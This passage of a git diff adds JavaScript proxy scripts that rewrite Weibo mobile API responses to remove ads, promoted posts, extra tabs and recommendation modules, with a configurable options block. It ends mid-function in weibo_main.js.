+ if (resp_data.header?.data?.items) { + removeHeaderAds(resp_data.header.data.items); + } + } + + // 3、微博热搜页面刷新 + if (url.includes("/2/page?") && resp_data.cards && resp_data.cards[0].card_group) { + resp_data.cards[0].card_group = resp_data.cards[0].card_group.filter(group => group.promotion == null); + console.log('处理微博热搜页面广告结束💕💕'); + } + + // 微博热搜页面 “热搜”tab页 + if (url.includes("/2/flowpage?")) { + // 删掉Banner图 + resp_data.pageHeader = {}; + for (let subItem of resp_data.items) { + if (subItem.itemId === "hotword") { + subItem.items = subItem.items.filter(group => group.data.promotion == null && !group.data.itemid.includes("c_type:51")); + break; + } else if (subItem.items) { + subItem.items = subItem.items.filter(group => group.data.promotion == null && !group.data.itemid.includes("c_type:51")); + } + } + } + + // 4、微博超话页面 + if (url.includes("/statuses/container_timeline_topicpage?") && resp_data.items) { + resp_data.items = resp_data.items.filter(item => !item.data || item.data.mblogtypename !== "广告"); + console.log('处理微博超话页面广告结束💕💕'); + } + + // 5、微博详情页面 + if (url.includes("/statuses/extend?")) { + delete resp_data.head_cards; + delete resp_data.top_cards; + delete resp_data.extend_info; + delete resp_data.trend; // 博主好物种草 + delete resp_data.semantic_brand_params; + delete resp_data.ad_tag_nature; + delete resp_data.title_source; + delete resp_data.reward_info; + console.log('处理微博详情页面广告结束💕💕'); + } + if (url.includes("/statuses/container_detail?")) { + resp_data.pageHeader.data.items = resp_data.pageHeader.data.items.filter(item => + item?.category !== 'card' && item?.type !== 'share' + ); + } + + // 6、移除微博首页的多余tab页 微博首页Tab标签页 + if (url.includes("/groups/allgroups/v2")) { + removePageDataAds(resp_data.pageDatas); + // 删除恶心人的“全部微博” + delete resp_data.pageDatas[0].categories[0].pageDatas[0]; + } + + // 7、话题页面 微博话题页面 + if (url.includes("/2/searchall?")) { + for (let i = 0; i < resp_data.items.length; i++) { + if (resp_data.items[i].data?.mblogtypename === "广告" || resp_data.items[i].data?.ad_state === 1) { + console.log('处理话题页面广告'); + resp_data.items[i] = {}; + continue; + } else { + deleteCommonAndSemanticBrandParams(resp_data.items[i]); + } + + if (resp_data.items[i].items) { + for (let j = 0; j < resp_data.items[i].items.length; j++) { + if (resp_data.items[i].items[j].data?.card_type === 22 + || resp_data.items[i].items[j].data?.ad_state === 1 + || resp_data.items[i].items[j].data?.content_auth_info?.content_auth_title === "广告") { + resp_data.items[i].items[j] = {}; + } else { + deleteCommonAndSemanticBrandParams(resp_data.items[i].items[j]); + } + } + } + } + console.log('处理话题页面广告结束💕💕'); + } + + // 8、超话tab页 微博超话tab页 + if (url.includes("/statuses/container_timeline_topic?")) { + let foundFeed = false; + const cardTypes = [19, 179]; // 19:热帖/必刷/分类,31:热搜词,179:关注的超话 + for (let i = 0; i < resp_data.items.length; i++) { + const item = resp_data.items[i]; + if (item.data?.is_ad === 1 || item.data?.mblogtypename === "广告") { + resp_data.items[i] = {}; + continue; + } + + const category = item.category; // feed/card/group + const cardType = item.data?.card_type || ""; + if (cardTypes.includes(cardType)) { + console.log(`保留的card_type = ${cardType}`); + continue; + } + + // 第一条微博往下的内容只要不是微博(分类、推广等),全部删除 + if (foundFeed && category !== "feed") { + resp_data.items[i] = {}; + } + if (category === "feed" || category === "card") { + foundFeed = true; + if (category === "card") { + resp_data.items[i] = {}; + } + } + if (item.items) { + for (let j = 0; j < item.items.length; j++) { + const subItem = item.items[j]; + if (subItem.data?.card_type === 215) { + item.items[j] = {}; + } + } + } + } + console.log('处理超话tab页广告结束💕💕'); + } + + // 8、评论区广告 + if (url.includes("/comments/mix_comments?")) { + resp_data.datas = resp_data.datas.filter(item => item.adType !== "广告"); + console.log('处理评论区广告结束💕💕'); + } + if (url.includes("/statuses/container_detail_comment?")) { + resp_data.items = resp_data.items.filter(item => item.type !== "trend"); + console.log('处理评论区广告结束💕💕'); + } + + // 9、转发区广告 + if (url.includes("/statuses/container_detail_forward?")) { + resp_data.items = resp_data.items.filter(item => item.type === "forward"); + console.log('处理转发区广告结束💕💕'); + } + + console.log('广告数据处理完毕🧧🧧'); +} catch (e) { + console.log('脚本运行出现错误,部分广告未去除⚠️'); + console.log('错误信息:' + e.message); +} +$done({body:JSON.stringify(resp_data)}); +/***************************方法主体end*********************************/ + +function processPayload(payload) { + if (!payload) { + return; + } + if (payload.items[0].items) { + removeCommonAds(payload.items[0].items); + } + + removeCommonAds(payload.items); + removeCategoryFeedAds(payload.items); + + if (payload.loadedInfo?.headerBack) { + delete payload.loadedInfo.headerBack; + } +} + +function removeChannelsTabs(channels) { + // 1001:发现,1015:趋势,1016:榜单,1040:热转,1041:热问,1043:智搜 + const channelIds = [1001, 1015, 1016, 1040, 1041, 1043]; + // 反向遍历数组 + for (let i = channels.length - 1; i >= 0; i--) { + if (!channelIds.includes(channels[i].id)) { + // 如果当前元素的id不在channelIds中,则从原数组中删除该元素 + channels.splice(i, 1); + console.log('移除多余的channel💕💕'); + } + } +} + +function removeHeaderAds(headerItems) { + removeCommonAds(headerItems); + for (let i = 0; i < headerItems.length; i++) { + if (headerItems[i].items) { + removeCommonAds(headerItems[i].items); + } + } +} + +function removeCommonAds(items) { + // 模块类型,不在里面的都计划删除 + // 17:微博热搜,101:热门微博 + const cardTypes = [17, 101]; + + let firstVerticalFound = false; + for (let i = 0; i < items.length; i++) { + if (items[i].type === "vertical") { + if (!firstVerticalFound) { + firstVerticalFound = true; + continue; + } + console.log('移除内嵌的模块💕💕'); + items[i] = {}; + continue; + } + + const card_type = items[i].data?.card_type; + console.log(`card_type = ${card_type}`); + // 白名单模式 + if (card_type && !cardTypes.includes(card_type)) { + console.log(`移除多余的模块:${card_type}💕💕`); + items[i] = {}; + continue; + } + // 1.1、"微博热搜"模块 + if (card_type === 17) { + console.log('处理微博热搜模块💕💕'); + removeHotSearchAds(items[i].data.group); + } + // 118横版广告图片 182热议话题 217错过了热词 247横版视频广告 236微博趋势 + // 删除信息流中的图片广告、推广 + deleteCommonAndSemanticBrandParams(items[i]) + } +} + +// 移除“微博热搜”的广告 +function removeHotSearchAds(groups) { + if (!groups) return; + console.log('移除发现页热搜广告开始💕'); + for (let i = groups.length - 1; i >= 0; i--) { + const group = groups[i]; + if (group.itemid?.includes("is_ad_pos") || group.itemid?.includes("cate_type:tongcheng") || group.promotion) { + groups.splice(i, 1); + } + } + console.log('移除发现页热搜广告结束💕💕'); +} + +// 移除“热搜微博”信息流的广告 +function removeCategoryFeedAds(items) { + console.log('移除发现页热门微博广告💕'); + for (let i = items.length - 1; i >= 0; i--) { + const item = items[i]; + if (item.category === "feed" && item.data && item.data.mblogtypename === "广告") { + items.splice(i, 1); + } + } +} + +// 移除微博首页的多余tab页 +function removePageDataAds(items) { + console.log('移除微博首页的多余tab页💕'); + for (let i = items.length - 1; i >= 0; i--) { + const item = items[i]; + if (item.pageDataType === "homeExtend") { + items.splice(i, 1); + } + } +} + +// 删除一条微博下面的图片广告 +function deleteCommonAndSemanticBrandParams(item) { + // 删除信息流中的图片广告、推广 + if (item.data?.extend_info?.shopwindow_cards) { + delete item.data.extend_info.shopwindow_cards + } + if (item.data?.extend_info?.ad_semantic_brand) { + delete item.data.extend_info.ad_semantic_brand + } + if (item.data?.common_struct) { + delete item.data.common_struct; + } + if (item.data?.semantic_brand_params) { + delete item.data.semantic_brand_params; + } +} \ No newline at end of file diff --git a/Scripts/weibo/weibo_ads_android.js b/Scripts/weibo/weibo_ads_android.js new file mode 100644 index 00000000..625e4be0 --- /dev/null +++ b/Scripts/weibo/weibo_ads_android.js @@ -0,0 +1,222 @@ +/** + * author:fmz200 + * @function 微博去广告 + * date:2023-11-29 10:13:00 + */ + +// 在请求到达服务器之前,调用此函数,您可以在此处修改请求数据 +async function onRequest(context, request) { + console.log("请求URL=" + request.url); + //URL参数 + request.queries["reqParams"] = "value"; + //更新或添加新标头 + request.headers["X-New-Headers"] = "My-Value"; + delete request.headers["Key-Need-Delete"]; + + //Update Body 使用fetch API请求接口,具体文档可网上搜索fetch API + //request.body = await fetch('https://www.baidu.com/').then(response => response.text()); + + //共享参数 后面onResponse时取出 + context["request_url"] = request.url; + return request; +} + +// 在将响应数据发送到客户端之前,调用此函数,您可以在此处修改响应数据 +async function onResponse(context, request, response) { + const url1 = '/search/finder'; + const url2 = '/search/container_timeline'; // 发现页面 + const url3 = '/search/container_discover'; + const url4 = '/api.weibo.cn/2/page'; // 微博热搜页面url + const url5 = '/statuses/container_timeline_topicpage'; // 微博超话页面 + const url6 = '/statuses/extend'; // 微博详情页面广告 + const url7 = '/groups/allgroups/v2' // 微博首页Tab标签页 + + let index = 1; + + // 更新或添加新标头 + // response.headers["Name"] = context["name"]; + + // Update status Code + // response.statusCode = 500; + + let url = context["request_url"]; + let body = response.body; + console.log("响应URL=" + url); + let resp_data = JSON.parse(body); + try { + // 1、首次点击发现按钮 + if (url.includes(url1)) { + const payload = resp_data.channelInfo?.channels?.[0]?.payload; + console.log('进入发现页...'); + if (payload.items[1].data.itemid === "hot_search_push") { + index = 2; + } + + // 1.1、下标是1的为热搜模块 + payload.items[index].data.group = removeHotSearchAds(payload.items[index].data.group); + + // 1.2、下标为2的是轮播图模块 + console.log('移除轮播模块💕💕'); + payload.items[index + 1] = {}; + + // 1.3、下标为3的是热议模块 + console.log('移除finder_channel模块💕💕'); + if (payload.items[index + 2].data?.more_pic?.includes('ads')) { + delete payload.items[index + 2].data.more_pic; + } + payload.items[index + 2].data.group = removeFinderChannelAds(payload.items[index + 2].data.group); + + // 1.4、items[i].category = "feed" 是热门微博的部分 + payload.items = removeCategoryFeedAds(payload.items); + + // 1.5、背景图广告 + if (payload.loadedInfo?.headerBack) { + delete payload.loadedInfo.headerBack; + } + } + + // 2、发现页面刷新/再次点击发现按钮 + if (url.includes(url2) || url.includes(url3)) { + console.log('刷新发现页...'); + if (resp_data.items[1].data.itemid === "hot_search_push") { + index = 2; + } + + // 2.1、下标是1的为热搜模块 + resp_data.items[index].data.group = removeHotSearchAds(resp_data.items[index].data.group); + + // 2.2、下标为2的是轮播图模块 + console.log('移除轮播图模块🤣🤣'); + resp_data.items[index + 1] = {}; + + // 2.3、下标为3的是热议模块 + console.log('移除finder_channel模块💕💕'); + if (resp_data.items[index + 2].data?.more_pic?.includes('ads')) { + delete resp_data.items[index + 2].data.more_pic; + } + resp_data.items[index + 2].data.group = removeFinderChannelAds(resp_data.items[index + 2].data.group); + + // 2.4、items[i].category = "feed" 是热门微博的部分 + resp_data.items = removeCategoryFeedAds(resp_data.items); + + // 2.5、背景图广告 + if (resp_data.loadedInfo?.headerBack) { + delete resp_data.loadedInfo.headerBack; + } + } + + // 3、微博热搜页面刷新 + if (url.includes(url4) && resp_data.cards && resp_data.cards[0].card_group) { + console.log('微博热搜页面广告开始💕'); + resp_data.cards[0].card_group = resp_data.cards[0].card_group.filter(group => group.promotion == null); + console.log('微博热搜页面广告结束💕💕'); + } + + // 4、微博超话页面 + if (url.includes(url5) && resp_data.items) { + console.log('微博超话页面广告开始💕'); + resp_data.items = resp_data.items.filter(item => !item.data || item.data.mblogtypename !== "广告"); + console.log('微博超话页面广告结束💕💕'); + } + + // 5、微博超话页面 + if (url.includes(url6)) { + console.log('微博详情页面广告开始💕'); + resp_data.head_cards = []; + console.log('微博详情页面广告结束💕💕'); + } + + // 6、移除微博首页的多余tab页 + if (url.includes(url7)) { + resp_data.pageDatas = removePageDataAds(resp_data.pageDatas); + swapObjectsInArray(resp_data.pageDatas[0].categories[0].pageDatas, 0, 1); + } + console.log('没有广告数据🧧🧧'); + } catch (e) { + console.log('脚本运行出现错误,部分广告未去除⚠️'); + console.log('错误信息:' + e.message); + } + + response.body = JSON.stringify(resp_data); + return response; +} + +// 移除“微博热搜”的广告 +function removeHotSearchAds(groups) { + if (!groups) return; + console.log('移除发现页热搜广告开始💕'); + const newGroups = groups.filter(group => !(group.itemid?.includes("is_ad_pos") || group.promotion)); + console.log('移除发现页热搜广告结束💕💕'); + return newGroups; +} + +// 移除“微博热搜”下面的“热聊,本地等”的广告 +function removeFinderChannelAds(groups) { + if (!groups) return; + + const titleSubPicMap = { + '电影': 'https://simg.s.weibo.com/imgtool/20221207_dianying.png', + '热议': 'https://simg.s.weibo.com/20220402_hottopic-icon.png', + '影像年': 'https://simg.s.weibo.com/ads/1%2Fads_1692185628.png', + '本地': 'https://simg.s.weibo.com/20190123154142_tongcheng.png', + '亚运电竞': 'https://simg.s.weibo.com/ads/1%2Fads_1694765662.png', + '直播': 'https://simg.s.weibo.com/20210705_live0705.png', + '财经': 'https://simg.s.weibo.com/20190124150415_caijing.png', + '找人': 'https://simg.s.weibo.com/20190125144608_zhaoren.png', + '时尚': 'https://simg.s.weibo.com/imgtool/20220928_fashion.png', + '长文': 'https://simg.s.weibo.com/20220621_%E9%95%BF%E6%96%87%E5%8F%91%E7%8E%B0%E9%A1%B5icon%403x.png', + '赛事': 'https://simg.s.weibo.com/20201030_%E8%B5%9B%E4%BA%8B.png', + '教育': 'https://simg.s.weibo.com/20200303_edu0303.png', + '音乐': 'https://simg.s.weibo.com/imgtool/20221207_yinyue.png', + '房产': 'https://simg.s.weibo.com/20190129182003_house.png', + '小游戏': 'https://simg.s.weibo.com/20190118185226_youxi.png', + '美食': 'https://simg.s.weibo.com/imgtool/20221207_food.png', + '热聊': 'https://simg.s.weibo.com/20220402_reliao.png', + '新知': 'https://simg.s.weibo.com/20211105_xinzhi.png', + '微公益': 'https://simg.s.weibo.com/ads/1%2Fads_1689323535.png', + '大健康': 'https://simg.s.weibo.com/imgtool/20221116_health.png', + '活动': 'https://simg.s.weibo.com/20200915_huodong.png', + '母婴': 'https://simg.s.weibo.com/20210222_mombaby.png', + '珠宝玉石': 'https://simg.s.weibo.com/20210317_yushi.png', + '游戏中心': 'https://simg.s.weibo.com/ads/1%2Fads_1687759038.png' + }; + console.log('移除发现页finder_channel广告开始💕'); + const newGroups = []; + for (const group of groups) { + if (group.pic?.includes('ads')) { + group.pic = titleSubPicMap[group.title_sub] || "https://simg.s.weibo.com/20200915_huodong.png"; + } + newGroups.push(group); + } + console.log('移除发现页finder_channel广告结束💕💕'); + return newGroups; +} + +// 移除“热搜微博”信息流的广告 +function removeCategoryFeedAds(items) { + console.log('移除发现页热门微博广告开始💕'); + const newItems = items.filter(item => item.category !== "feed" || (item.data && item.data.mblogtypename !== "广告")); + console.log('移除发现页热门微博广告结束💕💕'); + return newItems; +} + +// 移除微博首页的多余tab页 +function removePageDataAds(items) { + console.log('移除微博首页的多余tab页开始💕'); + const newItems = items.filter(item => item.pageDataType !== "homeExtend"); + console.log('移除微博首页的多余tab页结束💕💕'); + return newItems; +} + +// 交换集合中两个对象的位置 +function swapObjectsInArray(array, index1, index2) { + console.log('交换tab页顺序开始💕'); + const temp = array[index1]; + array[index1] = array[index2]; + array[index2] = temp; + + array[index2].type = array[index1].type; + array[index2].apipath = "statuses/container_timeline_unread"; + delete array[index2].navigation_title; + console.log('交换tab页顺序结束💕💕'); +} diff --git a/Scripts/weibo/weibo_main.js b/Scripts/weibo/weibo_main.js new file mode 100644 index 00000000..7629c95b --- /dev/null +++ b/Scripts/weibo/weibo_main.js @@ -0,0 +1,782 @@ +/** + * @auther @fmz200 + * @function 微博去广告 + * @date 2025-06-05 15:33:23 + * @quote zmqcherish + */ + +const version = 'v20240515.1'; + +const $ = new Env("微博去广告"); +let storeMainConfig = $.getdata('mainConfig'); +let storeItemMenusConfig = $.getdata('itemMenusConfig'); + +//主要的选项配置 +const mainConfig = storeMainConfig ? JSON.parse(storeMainConfig) : { + isDebug: true, //开启调试,会打印运行中部分日志 + //个人中心配置,其中多数是可以直接在更多功能里直接移除 + removeHomeVip: true, //个人中心的vip栏 + removeHomeCreatorTask: true, //个人中心创作者中心下方的轮播图 + + //微博详情页配置 + removeRelate: true, //相关推荐 + removeGood: true, //微博主好物种草 + removeFollow: true, //关注博主 + modifyMenus: true, //编辑上下文菜单 + removeRelateItem: true, //评论区相关内容 + removeRecommendItem: true, //评论区推荐内容 + removeRewardItem: false, //微博详情页打赏模块 + + removeLiveMedia: true, //首页顶部直播 + removeNextVideo: false, //关闭自动播放下一个视频 + + removePinedTrending: true, //删除热搜列表置顶条目 + + removeInterestFriendInTopic: false, //超话:超话里的好友 + removeInterestTopic: false, //超话:可能感兴趣的超话 + 好友关注 + removeUnfollowTopic: true, //超话:未关注的超话 + removeInterestUser: false, //用户页:可能感兴趣的人 + + removeLvZhou: false, //绿洲模块 + + profileSkin1: null, //用户页:自定义图标1 + profileSkin2: null, //用户页:自定义图标2 + tabIconVersion: 0, //配置大于100的数 + tabIconPath: '' //配置图标路径 +} + + +//菜单配置 +const itemMenusConfig = storeItemMenusConfig ? JSON.parse(storeItemMenusConfig) : { + creator_task: false, //转发任务 + mblog_menus_custom: false, //寄微博 + mblog_menus_video_later: true, //可能是稍后再看?没出现过 + mblog_menus_comment_manager: true, //评论管理 + mblog_menus_avatar_widget: false, //头像挂件 + mblog_menus_card_bg: false, //卡片背景 + mblog_menus_long_picture: true, //生成长图 + mblog_menus_delete: true, //删除 + mblog_menus_edit: true, //编辑 + mblog_menus_edit_history: true, //编辑记录 + mblog_menus_edit_video: true, //编辑视频 + mblog_menus_sticking: true, //置顶 + mblog_menus_open_reward: true, //赞赏 + mblog_menus_novelty: false, //新鲜事投稿 + mblog_menus_favorite: true, //收藏 + mblog_menus_promote: true, //推广 + mblog_menus_modify_visible: true, //设置分享范围 + mblog_menus_copy_url: true, //复制链接 + mblog_menus_follow: true, //关注 + mblog_menus_video_feedback: true, //播放反馈 + mblog_menus_shield: true, //屏蔽 + mblog_menus_report: true, //投诉 + mblog_menus_apeal: true, //申诉 + mblog_menus_home: true //返回首页 +} + +const modifyCardsUrls = ['/cardlist', 'video/community_tab', '/searchall']; +const modifyStatusesUrls = ['statuses/friends/timeline', 'statuses/unread_friends_timeline', 'statuses/unread_hot_timeline', 'groups/timeline']; + +const otherUrls = { + '/profile/me': 'removeHome', //个人页模块 + '/statuses/extend': 'itemExtendHandler', //微博详情页 + '/video/remind_info': 'removeVideoRemind', //tab2菜单上的假通知 + '/checkin/show': 'removeCheckin', //签到任务 + '/live/media_homelist': 'removeMediaHomelist', //首页直播 + '/comments/build_comments': 'removeComments', //微博详情页评论区相关内容 + '/container/get_item': 'containerHandler', //列表相关 + '/profile/container_timeline': 'userHandler', //用户主页 + '/video/tiny_stream_video_list': 'nextVideoHandler', //取消自动播放下一个视频 + '/2/statuses/video_mixtimeline': 'nextVideoHandler', + '/!/client/light_skin': 'tabSkinHandler', + '/littleskin/preview': 'skinPreviewHandler', + '/search/finder': 'removeSearchMain', + '/search/container_timeline': 'removeSearch', + '/search/container_discover': 'removeSearch', + '/2/messageflow': 'removeMsgAd', + '/2/page?': 'removePage', //超话签到的按钮 /2/page/button 加?区别 + '/statuses/container_timeline_topic?': 'topicHandler', //超话tab + '/statuses/container_timeline?': 'removeMain', //首页 + '/statuses/container_timeline_unread': 'removeMain', //首页 + '/statuses/container_timeline_hot?': 'removeMain', //推荐页,fmz200 + '/statuses/repost_timeline': 'removeRepost', //转发流 +} + +let url = $request.url; +let body = $response.body; +let method = getModifyMethod(url); +console.log("匹配方法:" + method); +let data = JSON.parse(body); +if (method) { + let func = eval(method); + new func(data); +} + +$.done({body: JSON.stringify(data)}); + + +function getModifyMethod(url) { + for (const s of modifyCardsUrls) { + if (url.indexOf(s) > -1) { + return 'removeCards'; + } + } + for (const s of modifyStatusesUrls) { + if (url.indexOf(s) > -1) { + return 'removeTimeLine'; + } + } + // 其他URL + const path = Object.keys(otherUrls).find(path => url.includes(path)); + if (path) { + const method = otherUrls[path]; + console.log(method); + return method; + } + return null; +} + +function isAd(data) { + if (!data) { + return false; + } + if (data.mblogtypename?.includes('广告') || data.mblogtypename?.includes('热推')) { + return true; + } + if (data.promotion?.type === 'ad') { + return true; + } + if (data.content_auth_info?.content_auth_title?.includes("广告")) { + return true; + } + if (data.ads_material_info?.is_ads) { + return true; + } + if (data.is_ad === 1) { + return true; + } + return false; +} + +// 判断首页流 感兴趣的超话 +function checkJunkTopic(item) { + if (item.category !== 'group') { + return false; + } + try { + if(['super_topic_recommend_card', 'recommend_video_card'].indexOf(item.trend_name) > -1) { + return true; + } + } catch (error) { + } + return false; +} + +function removeRepost(data) { + if (data.reposts) { + let newItems = []; + for (let item of data.reposts) { + if (!isAd(item)) { + newItems.push(item); + } + } + data.reposts = newItems; + } + + if (data.hot_reposts) { + let newItems = []; + for (let item of data.hot_reposts) { + if (!isAd(item)) { + newItems.push(item); + } + } + data.hot_reposts = newItems; + } + log('removeRepost success'); + return data; +} + +function removeMain(data) { + if (!data.items) { + return data; + } + let newItems = []; + for (let item of data.items) { + if (checkJunkTopic(item)) { + continue; + } + if (!isAd(item.data)) { + // 无水印图片,但画质较低 + if (item.data?.pic_infos) { + for (let key in item.data.pic_infos) { + let picture = item.data.pic_infos[key]; + let high_url = picture.original.url.replace("orh1080", "oslarge"); + // console.log('set high_url ' + high_url); + picture.largest.url = high_url; + picture.thumbnail.url = high_url; + picture.large.url = high_url; + picture.middleplus.url = high_url; + picture.mw2000.url = high_url; + picture.bmiddle.url = high_url; + // console.log('set high_url success'); + } + } + // 删除一条微博下面的图片广告(测试功能) + if (item.data?.extend_info?.shopwindow_cards) { + delete item.data.extend_info.shopwindow_cards + } + if (item.data?.extend_info?.ad_semantic_brand) { + delete item.data.extend_info.ad_semantic_brand + } + if (item.data?.semantic_brand_params) { + delete item.data.semantic_brand_params; + } + if (item.data?.common_struct) { + delete item.data.common_struct; + } + newItems.push(item); + } + } + data.items = newItems; + log('removeMain success'); + return data; +} + +function topicHandler(data) { + log('topicHandler start'); + const items = data.items; + if (!items) return data; + if (!mainConfig.removeUnfollowTopic && !mainConfig.removeUnusedPart) return data; + log('topicHandler process'); + let newItems = []; + for (let c of items) { + let addFlag = true; + let category = c.category; + if (category === 'feed') { + if (!mainConfig.removeUnfollowTopic) { + continue; + } + let btns = c?.data?.buttons; + if (btns && btns.length > 0 && btns[0].type === 'follow') { + addFlag = false; + } + } else { + if (!mainConfig.removeUnusedPart) { + continue; + } + + if (category === 'group') { + const cc = c.header?.title?.content; + if (cc && cc.indexOf('空降发帖') > -1) { + addFlag = false; + continue; + } + let subItems = c.items; + if (!subItems) { + continue; + } + let newSubItems = []; + for (let sub of subItems) { + let anchorId = sub?.itemExt?.anchorId; + if (!anchorId || ['sg_bottom_tab_search_input', 'multi_feed_entrance', 'bottom_mix_activity', 'cats_top_content', 'chaohua_home_readpost_samecity_title', 'chaohua_discovery_banner_1', 'chaohua_home_readpost_samecity_content'].indexOf(anchorId) === -1) { + newSubItems.push(sub); + } + } + c.items = newSubItems; + } else if (category === 'card') { + let cData = c.data + if (cData?.top?.title === '正在活跃') { + addFlag = false; + } else if (cData.card_type === 200 && cData.group) { + addFlag = false; + } else if (cData?.itemid.indexOf('infeed_may_interest_in') > -1) { + addFlag = false; + } + } + } + if (addFlag) { + newItems.push(c); + } + } + data.items = newItems; + log('topicHandler success'); + return data; +} + +function removeSearchMain(data) { + let channels = data.channelInfo.channels; + if (!channels) { + return data; + } + for (let channel of channels) { + let payload = channel.payload; + if (!payload) { + continue; + } + removeSearch(payload) + } + log('remove_search main success'); + return data; +} + +function checkSearchWindow(item) { + if (!mainConfig.removeSearchWindow) return false; + if (item.category !== 'card') return false; + return item.data?.itemid === 'finder_window' || item.data?.itemid === 'more_frame'; +} + +// 发现页 +function removeSearch(data) { + if (!data.items) { + return data; + } + let newItems = []; + for (let item of data.items) { + if (item.category === 'feed') { + if (!isAd(item.data)) { + newItems.push(item); + } + } else { + if (!checkSearchWindow(item)) { + newItems.push(item); + } + } + } + data.items = newItems; + log('remove_search success'); + return data; +} + + +function removeMsgAd(data) { + if (!data.messages) { + return; + } + let newMsgs = []; + for (let msg of data.messages) { + if (msg.msg_card?.ad_tag) { + continue; + } + newMsgs.push(msg) + } + data.messages = newMsgs; + return data; +} + +function removePage(data) { + removeCards(data); + + // 删除热搜列表置顶条目 + if (mainConfig.removePinedTrending && data.cards && data.cards.length > 0) { + if (data.cards[0].card_group) { + data.cards[0].card_group = data.cards[0].card_group.filter(c => !c.itemid.includes("t:51")); + } + } + + return data; +} + +function removeCards(data) { + if (!data.cards) { + return; + } + let newCards = []; + for (const card of data.cards) { + let cardGroup = card.card_group; + if (cardGroup && cardGroup.length > 0) { + let newGroup = []; + for (const group of cardGroup) { + let cardType = group.card_type; + if (cardType !== 118) { + newGroup.push(group); + } + } + card.card_group = newGroup; + newCards.push(card); + } else { + let cardType = card.card_type; + if ([9, 165].indexOf(cardType) > -1) { + if (!isAd(card.mblog)) { + newCards.push(card); + } + } else { + newCards.push(card); + } + } + } + data.cards = newCards; +} + + +function lvZhouHandler(data) { + if (!mainConfig.removeLvZhou) return; + if (!data) return; + let struct = data.common_struct; + if (!struct) return; + let newStruct = []; + for (const s of struct) { + if (s.name !== '绿洲') { + newStruct.push(s); + } + } + data.common_struct = newStruct; +} + + +function isBlock(data) { + let blockIds = mainConfig.blockIds || []; + if (blockIds.length === 0) { + return false; + } + let uid = data.user.id; + for (const blockId of blockIds) { + if (blockId === uid) { + return true; + } + } + return false; +} + +function removeTimeLine(data) { + for (const s of ["ad", "advertises", "trends"]) { + if (data[s]) { + delete data[s]; + } + } + if (!data.statuses) { + return; + } + let newStatuses = []; + for (const s of data.statuses) { + if (!isAd(s)) { + lvZhouHandler(s); + if (!isBlock(s)) { + newStatuses.push(s); + } + } + } + data.statuses = newStatuses; +} + + +function removeHomeVip(data) { + if (!data.header) { + return data; + } + // let vipCenter = data.header.vipCenter; + // if(vipCenter) { + // vipCenter.icon = ''; + // vipCenter.title.content = '会员中心'; + // } + if (data.header.vipView) { + data.header.vipView = null; + } + return data; +} + +//移除tab2的假通知 +function removeVideoRemind(data) { + data.bubble_dismiss_time = 0; + data.exist_remind = false; + data.image_dismiss_time = 0; + data.image = ''; + data.tag_image_english = ''; + data.tag_image_english_dark = ''; + data.tag_image_normal = ''; + data.tag_image_normal_dark = ''; +} + + +//微博详情页 +function itemExtendHandler(data) { + if (mainConfig.removeRelate || mainConfig.removeGood) { + if (data.trend?.titles) { + let title = data.trend.titles.title; + if (mainConfig.removeRelate && title === '相关推荐') { + delete data.trend; + } else if (mainConfig.removeGood && title === '博主好物种草') { + delete data.trend; + } + } + } + if (mainConfig.removeFollow) { + if (data.follow_data) { + data.follow_data = null; + } + } + + if (mainConfig.removeRewardItem) { + if (data.reward_info) { + data.reward_info = null; + } + } + + //删除超话新帖和新用户通知 + if (data.page_alerts) { + data.page_alerts = null; + } + + //广告 暂时判断逻辑根据图片 https://h5.sinaimg.cn/upload/1007/25/2018/05/03/timeline_icon_ad_delete.png + try { + let picUrl = data.trend.extra_struct.extBtnInfo.btn_picurl; + if (picUrl.indexOf('timeline_icon_ad_delete') > -1) { + delete data.trend; + } + } catch (error) { + + } + + + if (mainConfig.modifyMenus && data.custom_action_list) { + let newActions = []; + for (const item of data.custom_action_list) { + let _t = item.type; + let add = itemMenusConfig[_t] + if (add === undefined) { + newActions.push(item); + } else if (_t === 'mblog_menus_copy_url') { + newActions.unshift(item); + } else if (add) { + newActions.push(item); + } + } + data.custom_action_list = newActions; + } +} + +function updateFollowOrder(item) { + try { + for (let d of item.items) { + if (d.itemId === 'mainnums_friends') { + let s = d.click.modules[0].scheme; + d.click.modules[0].scheme = s.replace('231093_-_selfrecomm', '231093_-_selffollowed'); + log('updateFollowOrder success'); + return; + } + } + } catch (error) { + console.log('updateFollowOrder fail'); + } +} + +function updateProfileSkin(item, k) { + try { + let profileSkin = mainConfig[k]; + if (!profileSkin) { + return; + } + let i = 0; + for (let d of item.items) { + if (!d.image) { + continue; + } + try { + dm = d.image.style.darkMode + if (dm !== 'alpha') { + d.image.style.darkMode = 'alpha' + } + d.image.iconUrl = profileSkin[i++]; + if (d.dot) { + d.dot = []; + } + } catch (error) { + + } + } + log('updateProfileSkin success'); + } catch (error) { + console.log('updateProfileSkin fail'); + } +} + + +function removeHome(data) { + if (!data.items) { + return data; + } + let newItems = []; + for (let item of data.items) { + let itemId = item.itemId; + if (itemId === 'profileme_mine') { + if (mainConfig.removeHomeVip) { + item = removeHomeVip(item); + } + updateFollowOrder(item); + newItems.push(item); + } else if (itemId === '100505_-_top8') { + updateProfileSkin(item, 'profileSkin1'); + newItems.push(item); + } else if (itemId === '100505_-_newcreator') { + if (item.type === 'grid') { + updateProfileSkin(item, 'profileSkin2'); + newItems.push(item); + } else { + if (!mainConfig.removeHomeCreatorTask) { + newItems.push(item); + } + } + } else if (['mine_attent_title', '100505_-_meattent_pic', '100505_-_newusertask', '100505_-_vipkaitong', '100505_-_hongbao2022', '100505_-_adphoto', '100505_-_hongrenjie2022', '100505_-_weibonight2023'].indexOf(itemId) > -1) { + continue; + } else if (itemId === '100505_-_advideo') { + if (item?.header?.title?.content === '微博之夜') { + continue; + } + } else if (itemId.match(/100505_-_meattent_-_\d+/)) { + continue; + } else { + newItems.push(item); + } + } + data.items = newItems; + return data; +} + + +//移除tab1签到 +function removeCheckin(data) { + log('remove tab1签到'); + data.show = 0; +} + + +//首页直播 +function removeMediaHomelist(data) { + if (mainConfig.removeLiveMedia) { + log('remove 首页直播'); + data.data = {}; + } +} + +//评论区相关和推荐内容 +function removeComments(data) { + let delType = ['广告']; + if (mainConfig.removeRelateItem) delType.push('相关内容', '相关评论'); + if (mainConfig.removeRecommendItem) delType.push(...['推荐', '热推']); + // if(delType.length === 0) return; + let items = data.datas || []; + if (items.length === 0) return; + let newItems = []; + for (const item of items) { + if (isAd(item.data)) { + continue; + } + if (item.data?.user) { + if (["超话社区", "微博开新年", "微博热搜", "微博视频"].includes(item.data.user.name)) { + continue; + } + } + // 